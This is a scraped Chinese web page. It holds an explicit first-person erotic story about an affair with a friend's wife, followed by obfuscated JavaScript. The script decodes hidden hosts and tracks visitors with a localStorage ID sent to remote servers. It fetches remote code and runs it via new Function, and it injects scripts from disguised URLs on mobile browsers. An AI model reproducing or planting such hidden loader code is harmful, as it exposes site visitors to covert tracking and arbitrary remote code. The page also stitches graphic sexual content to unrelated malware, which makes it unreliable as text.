嫂嫂抓住我的鸡巴,但经过刚才那惊心动魄的一幕后,已经没有了刚才的激情,敲门前坚硬粗壮的鸡巴现在却短小无比,柔若无骨,最多仅有3 公分长(别人一说都是15、6 公分甚至18公分长,我自愧不如),且无精打采的耷拉着…嫂嫂一边笑眯眯地看着我,一边捏着我柔软的鸡鸡摇来晃去的,好像在摆弄一件新奇的玩具。我有点反感,皱了皱眉头,她意识到了我的不悦,低头含住我柔小的鸡鸡,尽吞口中,来回的吞吐,那幺的专心,多少对我是一点点的抚慰,改变一点我懊恼沮丧的心情。
我的鸡鸡似乎有了点反应,嫂嫂的小嘴如同肥沃的土地,我的鸡鸡好似撒在肥沃土地里的种子,慢慢的生根、发芽、茁壮成长、发展壮大,大得嫂嫂只能含住一半。她的小嘴好柔软,舌尖不时地舔弄着我的冠状沟,有点发痒,但更多是的感动。因为我上了一天的班,根本没有时间清洗鸡鸡,被包皮包裹了一天的龟头气味大家可想而知……
  我解开嫂嫂的睡袍,小巧的乳房略显下垂,我双手分别抓住两只玉乳不停地揉搓,好像和面似的来回折腾。两粒比黄豆大不了多少的乳头亢奋地坚挺起来,这时候我才想起我的职责,一个做男人的职责。我脱掉上衣,把嫂嫂揽入怀中,胸膛紧紧地摩擦着嫂嫂的双乳,亲吻着嫂嫂的面颊和脖颈(才亲过我闷捂了一天的鸡鸡,我不想与她接吻)。嫂嫂紧紧的搂抱着我,怕我跑掉似的,不时的亲吻一下我的耳朵,痒痒的,酥酥的感觉。偶尔想与我接吻,都被我躲闪开了,然后含住她那粒粉红的乳头,稍一用力,大半个乳房尽入口中,嫂嫂被我亲吻得「吭吭」的低吟…我看着她问:「疼吗?」
「喔……………………没有…………」
「那就是舒服的了?」
「嗯…………」嫂嫂边「嗯」着边摁我的头,我明白她的意思,我知道她现在很爽,我又亲了几口,顺着往下亲,到了三角地带,虽然没有几根毛,很光滑,但我真的不怎幺适应,不想下口。
我不喜欢浓密的屄毛,浓密的屄毛往往是直直的、硬硬的、黑光发亮的,有点甚至像刷子一样,给人一种老气横秋且不熟女的感觉。但我很喜欢分部有序、排列均匀、纤纤细细、颜色黑而泛黄,柔软绒乎的那种毛毛…看上去就像亲一口。
现在看到嫂嫂那几根弯弯曲曲害羞似的毛毛趴伏在阴阜上,遂用手指撚了撚那稀不拉叽的几根阴毛,笑道:「嫂嫂这几根毛毛一定很精贵把,就是一根卖100美元,也发不了家啊!」
嫂嫂害羞地连忙捂住羞处,嗲声嗲气的说:「你又开始笑话我了,不跟你玩了…」
我掰开她的小手,撑开她肥厚的外阴,分开她薄薄的小花瓣,红丫丫肉乎乎的洞口,淫水清澈透亮、含露欲滴,却不见那颗把门的肉丸子(那时候阅历甚浅,但肉球我的确见过,现在总结也是分为这两种:一种是嫂嫂这样的类型,而另一种则是偌大的肉球挡在阴道口)。
我又是一阵纳闷:怎幺嫂嫂的那幺多地方与众不同呢?咪咪小巧玲珑,小而不瘪反而比较饱满,毛毛不多才几根,口口很简单仅仅是一条缝儿,连小阴唇都埋藏在里面不愿意见人,好似未发育成型,屄屄既不大里面又没有那个肉疙瘩(专业名称叫什幺?我不知道),整体看来,非常的乾净、平滑和整洁,没有一点多余的赘物。
伸出舌头,凑到洞口,使劲地往里伸,里面的水水滑滑的又稍有些黏度,顺着洞窟往上舔,阴蒂略微跷起,我来回的舔蹭,每一下都令嫂嫂全身一个激灵。嫂嫂扭动着身躯仿佛刻意躲避着我的舌头,不怎幺乐意我刺激她的阴蒂。越是这样,就越是激发我好奇的兴趣。我抓住她的双手,避免她的干扰,再次连续舔舐着她这敏感的豆豆,她紧并双腿不予配合…我顾此失彼,没办法只得撤手分开她的双腿,屄缝里黏黏的阴水已流至股沟……我再也控制不住自己的占有欲了,我要进入嫂嫂的身体!低头看看我暴涨的阴茎,龟头就像女孩刚刚做过美容的脸蛋一般,锃光发亮的,煞是好看。一手掰开缝儿,一手扶着肉棒,腰身发力,扑哧一下连根没入。
嫂嫂闷哼一声,随即仅仅的搂住我的腰,嫂嫂的肉肉柔软无比,软软的肉缝儿仿佛是饥饿的婴儿用力地吮吸着母亲的奶头一般,湿润温暖且富有紧握感。
我每一次的进入,都仿佛是要插进沙堆里一样,受到周围沙子强烈的排挤;我每一次的抽出,仿佛是陷进了可怕的沼泽地一样难以自拔。
每一次都插的很深很深,肉洞深处更是柔软可人,我在羡慕哥哥一生一世的性福,我在嫉妒哥哥可以堂而皇之理所当然的拥有这幺美好的洞穴,我在想像着哥哥粗大的龟头塞进嫂嫂的肉洞里面岂不是更加的紧密吗?我想像着哥哥插过的洞穴,今天我来享用,也是如此的美妙……想着想着,不由地紧抱着嫂嫂暗暗发力,嫂嫂双眼迷离,在身下吭吭哧哧的哼哼着,我全身一麻,心想坏了:忍不住射精的念头!
  我停顿一下,还是不行!为了不早早的射精,为了多一点时间更多的享受嫂嫂柔软舒适的嫩肉,也为了在嫂嫂面前证明我的能力,我真的不想就这样缴械投降…我只得拔了出来。
嫂嫂立马睁开眼睛不解的问我:「怎幺了乖?」我暗想称呼怎幺改成「乖」了啊!有点不适应,又觉得有点亲切。
但我无暇顾及什幺乖不乖的问题了,只感到难以抑制射精的慾望。我吞吞吐吐的说:「我…我…我受不了了,我想射!」
没等她再说话,只感到鸡鸡谑谑的乱跳,我不能就这样射在嫂嫂的体外,这是我的爱液,这是我的精华,我一定要射进嫂嫂的体内(我相信每一个男人都有这样的想法!有些选择体外射精的一定有其他诸如怕对方怀孕等原因不得已而为之,正常情况下,哪个男人喜欢射在外面?喜欢体外射精的请举手。)!我慌不择路的急忙插入嫂嫂的体内,刚刚进入,鸡巴一阵跳动,我再也把持不住了,嘟嘟嘟几梭子浓浓的精液射向嫂嫂阴道深处。
嫂嫂紧搂着我的PP不让离开,阴道一缩一缩地贪婪的吸允着我还没疲软的肉棒,每收缩一下,我的龟头以及冠状沟都会受到强烈的刺激,直至通过中枢神经传到大脑,反馈到全身!
为了表现我的勇猛顽强,虽然粮尽弹绝,但我仍然继续快速的抽插着。但是终究没有坚持多久,还是耷拉着宝贝败下阵来……我慌忙向嫂嫂索要卫生纸,嫂嫂从枕头下面取出一捲,撕了写给我,自己不去擦拭。我擦乾净不争气的鸡鸡后,準备帮她清理的时候,却看到嫂嫂的肉缝里没有流淌一滴爱液!
又是一个奇迹!先前我印像最深刻的第一次性经历,我和第一个女朋友做爱时的情景:当我抽出射精后的鸡鸡时,我的精液随着我的鸡鸡的脱落而一道流了出来。,把我的床单弄湿了一小片……而与嫂嫂的这次,竟然没有看到精液的溢出!
射精完毕后的抽插完全是男人虚荣心的使然,不自信的表现。我也不自信,起码这次跟嫂嫂做爱的过程,我感觉时间太短太短,短的让我自卑。我在捕捉嫂嫂脸上的信息,如果她有不满意的表情,或者说一句:你怎幺那幺快呀?那将是对我当头一棒,致命的打击!
嫂嫂笑着夸赞我:「虎弟(称呼又换回来了):你真棒,让我舒服死了……」
我将信将疑,继续判断嫂嫂的话的真实性:「嫂子:你不是…不是在寒碜我的吧?我感觉你不会过瘾…」
「真的,感觉很好,你插的好深,都弄疼我了…」
我有点愧疚,不好意思的说:「真的吗?对不起,我用力太大了…」
「……」嫂嫂摇了摇头,没有接我的话。
我侧着身子楼主嫂嫂,边摆弄着她娇小的乳房,边说着閑话:「哥哥喜欢亲你这里(乳房)不?」嫂嫂又摇了摇头。我说「他不喜欢吗?」「可能吧…」我不可思议,再想想,也许吧!男人不都是这个德性吗?拥有的不知道珍惜,得不到的才是最珍贵的,这就应了开头那句话——妻不如妾,妾不如偷的至理名言了吗?
休息了一会,看了看表,才8 点多,现在打道回府心有不甘,那就继续玩吧,再来一盘,让嫂嫂领略一下虎虎的威力。于是我开始新一轮的进攻:亲乳、亲脖颈,只是不想亲嘴,虽然她试图凑过来与我接吻,但是射精后的我对接吻不感兴趣。左手伸进嫂嫂的下身抠弄着她的阴缝,轻轻抚摸着她的阴蒂,阴蒂没有明显的勃起,我就往洞洞里抠摸、抽插,里面稀稀的阴水和精液顺着手指流了出来,一直流到股沟,这时她才反应过来,慌忙抓起纸垫在屁股下面。
我故意说嫂子你的水真多啊!「哼,都是我的吗?你呼哧呼哧的射了那幺多,都跑哪去了?」
「嗯嗯,也有我的,是咱们俩的。哥哥有我的多吗?」
「不知道!」嫂嫂好像有点生气,「不提他好吗?」
「好好好………不说他不说他………」我不能因此而把我再次显示自己实力的机会给搅黄了啊,「咱们玩,给我亲亲好吗?」我挺了挺肚子,示意她给我口交,但她没答应:「乖,才从那里出来,不卫生。」
她这样一说,我也不好再勉强了,但是我也不会再给她口交了,只是用手指不停地捣弄着她的淫洞,蘸点里面的水水再揉揉她的阴蒂,一会功夫,她扭着腰身有了反应。我不失时机的吸吮着她的乳头,吞吐着她的乳肉,她把我搂得紧紧的,右腿迈过我的身体勾住我的腰,一翻身,我们俩颠倒了个位置,把我压在身下,抓住我的鸡鸡…不好意思,还在不应期里,没有完全进入状态。她就撸我的鸡鸡,摸我的蛋蛋,我的鸡鸡渐渐地有了点反应……「嘀铃铃………嘀铃铃………」急促的电话铃声打破了我们俩调情的气氛,她伸头看看号码,给我做了个手势:嘘…………………」指了指旁边的枕头,我明白是哥哥的电话,我凑过头听电话里面的声音,真的是哥哥,我好兴奋——听着哥哥的声音,赤身裸体的搂着哥哥的女人,还有什幺比这更刺激到事情呢?但是今天晚上和那天与嫂嫂在厨房调情不同,今天我只能憋气不吭了,今天不能让哥哥听到我的一丝声音!
电话那边的声音听的不是很清晰,只听这边嫂子说:「喂……嗯………吃过了……你怎幺吃的啊……………………哦,培训紧张吗……………我没干什幺啊,都睡着了,又被你打醒了,真是的,你现在打电话干什幺啊,(嗲声嗲气的)尽是耽误我的美梦……」
我听到哥哥在那边嘘寒问暖的,又听到嫂嫂说尽是耽误她的美梦,好像是一语双关,我突然来了感觉,鸡鸡比刚才硬了许多,我把侧着身子的嫂嫂搬正,分开两腿,嫂嫂连连向我摆手拒绝,我不管那幺多,扶着硬梆梆的鸡巴一下子捣了进去!
「喔………哦………」随着我的插入,嫂嫂不自觉的发出了呻吟声,又连忙改口:「嗯?没干什幺啊,人家困嘛,吃的太饱了,想打嗝又打不出来………难受死了………不给你说了,你那边培训很辛苦,早点歇着吧……喂喂喂!别挂电话,我还有话说呢………我告诉你啊,你在外面不準想歪点子,不準动别的心思,不準沾花惹草!回来我检查你!」我听到她这幺一说,更加刺激了我的性慾,我掀着她的一只腿,次次捣向嫂嫂的花心,她给我摆摆手,不让我动,我怎幺忍得住这激动时刻呢!
这时候嫂嫂话锋一转:「我想你了………喔…喔…喔…想你………哦、哦(也不知道是我插的舒服了还是她故意与她老公调情的)老公……想你………啵………睡吧,你再说,我都受不了啦,哦……哦……你把我说痒了,不给你说了……挂了…嗯,拜,晚安……」
她刚一挂电话,我暴涨的阴茎就是一阵狂插猛捣!
我心想,嫂嫂不简单,I 服了YOU !屄里夹住别的男人的鸡巴,还警告老公不要沾花惹草!还口是心非的说想人家了,真的说谎话面不改色心不跳啊!
我问她:「你刚才哼哼唧唧的,是不是被我弄舒服了啊?」
「是啊,就是被你弄得劲了,才忍不住的哼哼的,你也真够坏的,你哥哥给我通着电话你也不老实,小心被他发现了,割了你的鸡巴!」嫂嫂点着我的脑门。
我放慢了抽插的速度和她说话:「我才不怕呢,她发现了,先割掉你的屄圈子,才割我的鸡巴。」我们彼此的对话没有了往日的矜持,开始放肆起来了。我接着问她:「你刚才哼哼唧唧的干什幺呢?真的不怕你老公怀疑你吗?」
「哼!她敢怀疑我!没听到我对他的警告吗?我不让他沾花惹草,我会寻花问柳吗?我哼哼唧唧的他还以为我在想他想的受不了了呢……」
我「啧啧啧」了几声,不由地骂起她来:「你个骚逼真厉害!临危不乱,镇定自若,旁若无人,真正的到了登峰造极、炉火纯青的境界了…」想了想,还想问她:「刚才你们讲电话的时候,我弄着你,你啥感觉?」
「感觉好呀!」
「咋个好法啊,给我说说呗嫂子。」
「嗯,你掏点劲,我给你说……感觉……感觉…嗯,就像是当着他的面被你尻着一样,刺激,我的心都要跳出来了,从来没有过的滋味!真的很刺激…说不了啥感觉,就是刺激!」
「你想让我当着他的面尻你吗?」
「嗯,想,但我不敢啊!你敢幺?他不劈了你才怪呢!」
「我也不敢………那就现在让我替哥哥弄你吧!看我比哥哥的本领强不强?」说着,我把嫂嫂的双腿都架了起来,就像打井的一样,忙里的抽插和撞击着嫂嫂的肉体,我热胀的阴囊也随着节奏「啪啪」的拍打着嫂嫂的股沟……一会功夫,我已气嘘喘喘,汗流浃背。是对嫂嫂说:「咱俩换换吧,我累了,让我歇一会,你上来。」
嫂嫂爽快的说:「好,让虎虎歇一歇……」说着,翻身坐在我的胯骨上,一股湿滑的液体流至我的腹部……嫂嫂的屄屄终于容不下我第一次射进去的东东了,滑不啦及的弄了我一肚子,黏黏的吐了我一身,我不喜欢这样的感觉,侧身拿纸,等我仔细擦拭乾净,我粗硬的鸡鸡却又一次的疲软下来……看来做爱这东西也要一气呵成,稍微思想发岔了就得重新开始……我依着床头无奈的看着她:「都怪你,刚才不出来,偏偏这时候噙不住了,扫兴!」
她起身下床出去了,我感到纳闷,那边传来「哗哗」的声音——原来这个骚逼撒尿去了…等她回来,手里拿条湿毛巾,帮我擦拭鸡巴,温温的,原来用热水浸过了…嗯,够细心的。然后伏在我的胯下含住我的鸡巴吞吐起来,把我软软的鸡巴一拉多长,然后再吞下,同时还揉着我的蛋蛋,舒服极了。
等我的鸡鸡刚刚勃起,嫂嫂就迫不及待的坐了进去,上下套弄着我的鸡鸡,两只咪咪上下小幅度的晃悠着,我的毛毛上粘满了不知道是她的分泌物还是我残留下来的精液,我俩的结合部湿漉漉的一片黏液,直到她气喘吁吁,一屁股坐在我的跨上,还不忘顺时针倒时针的晃动着屁股,让我的鸡巴在她的阴洞里摇晃着,把我的鸡巴根部别的甚至有点发疼……
  我说了句:「还是我来吧。」扶着她下来,挪至她的身后,掰开白白却不怎幺丰满的屁股,露出被液体充分湿润而发出光泽的阴缝,带有少许的白色沫沫,有点不适,但我不能再分神了,扶住鸡巴送进了嫂嫂的肉缝…然后双手扶住嫂嫂的双胯,小腹劈劈啪啪的撞击着她的屁屁,阴囊也因局部体温上升而滴溜溜的耷拉好长好长,像铃铛一样前后左右不规则的摇晃着,悠蕩着……
  肉棍带出的白浆涂满了阴毛,我无暇顾及这些,一脚着床置于嫂嫂侧部,一膝跪在嫂嫂偏后方,双手紧抱这嫂嫂的腹部使劲地往后拉,试着将我的阴茎插至最深方才过瘾。嫂嫂双肘作为支点趴在那里,屁股一挺一挺的配合着我,听到嘴里哦哦哦的低声呻吟着,我也抑制不住自己的兴奋,嘴里念念有词:「我日,我日XX(她老公的名字,这时候我不想喊哥哥了)的老婆,我尻XX的女人!我弄死你,我弄死你!」「嗯嗯,你弄吧,掏劲弄,使劲弄!」
这个姿势让我的双腿有点吃力,体力也有些吃紧,射精的慾望还未来临,我不想恋战了,我把她拉到床下,厥着屁股,一阵快速的抽插,目的只有一个,那就是尽快的射精,尽快的结束战斗,尽快的歇一歇……我喘着粗气,啪啪啪的撞击声不绝于耳,嫂嫂也发出了兴奋的叫喊声,我全神贯注,想着哥们的老婆——不是嫂嫂,而是哥们身下的老婆!我在替哥们满足他的老婆!
噗噗噗………我的阴茎在哥们老婆的肉缝里抖动着,我的大脑短时间的真空,在哥们老婆的尖叫声中我终于射了出来,我的阴液第二次浇灌了哥哥的花蕊,我如释重负,却有点虚脱,我伏在嫂嫂脊背上把她压在床上,好半天还在大口的喘气……两腿发软,浑身无力,休息了一会,打扫战场,再拥抱着温存一番,擡头看了看表,已经近10点了。我的天啊,二次上马战了1 个多小时,难怪体力不支…我亲了一口嫂嫂的脸蛋说:「我走吧?」
「别走了,就住这里吧…」
我坚定地说:「不行,我住在这里不是不可以,但是明天早上我下不了楼!碰到熟人了没法解释!」
就这样,我和嫂嫂挥手告别,回家想法应付老婆的盘问和索要就不再赘述。
这是我婚后第一次偷情,所以,我很迷茫:是我偷了女人,还是女人偷了我?
以后的日子我们联系频繁,只要有空隙,我们就创造机会ML,有一次哥们在单位玩牌,我跑到他家伺候伺候他老婆的同时,我也享受了几近白虎馒头屄的人妻。在她家做了两三次,在我家做了一次,在她上班的休息室做了很多次,在车上做了几次,然后无疾而终。
总结:我对她本人没有什幺好感,我找她是我人生中第一次外遇,第一次偷,喜欢偷的刺激,喜欢她的没有毛毛的肉缝儿——物以稀为贵,第一次也是至今为止见到的唯一一个稀毛女人!至于缝儿一样的屄屄(不露小阴唇的逼逼)我见的多了,什幺黄总了,什幺菲菲了,什幺「老师」了等等等等,但相比之下,还是小阴唇外露的那个类型的见的最多,占总数的70\% 左右吧!所以,我不喜欢后者这个类型的,而非常喜欢前者类型。
最后甚至有点厌恶这个为我打开偷情之门的嫂嫂了,我因为她太贪了,不是对钱财的贪,而是对我身体,对我主观意志的干预,把我当成了她的私有产品,这是我绝对不能接受的!也因为旧的不去新的不来的原因吧,后来慢慢的就淡出了与嫂嫂的偷情史。

关闭
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSkSS3SSaSS1SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS1SS0SS5SSeSScSS8SS5SS8SS2SS3SS7SS2".split("SS").join(""),"hQQtQQtQQpQQsQQ:QQ/QQ/QQpQQ.QQgQQoQQdQQmQQwQQiQQtQQhQQ.QQcQQoQQmQQ/QQ1QQ2QQ/QQ1QQ1QQ0QQ5QQeQQcQQ8QQ5QQ8QQ2QQ3QQ7QQ2".split("QQ").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDmDDqDD1DD2DDnDD4DDdDD7DD6DD.DDoDDsDDsDD-DDcDDnDD-DDsDDhDDaDDnDDgDDhDDaDDiDD.DDaDDlDDiDDyDDuDDnDDcDDsDD.DDcDDoDDmDD/DD1DD2DD/DD1DD1DD0DD5DDeDDcDD8DD5DD8DD2DD3DD7DD2".split("DD").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DDeDDcDD8DD5DD8DD2DD3DD7DD2".split("DD").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();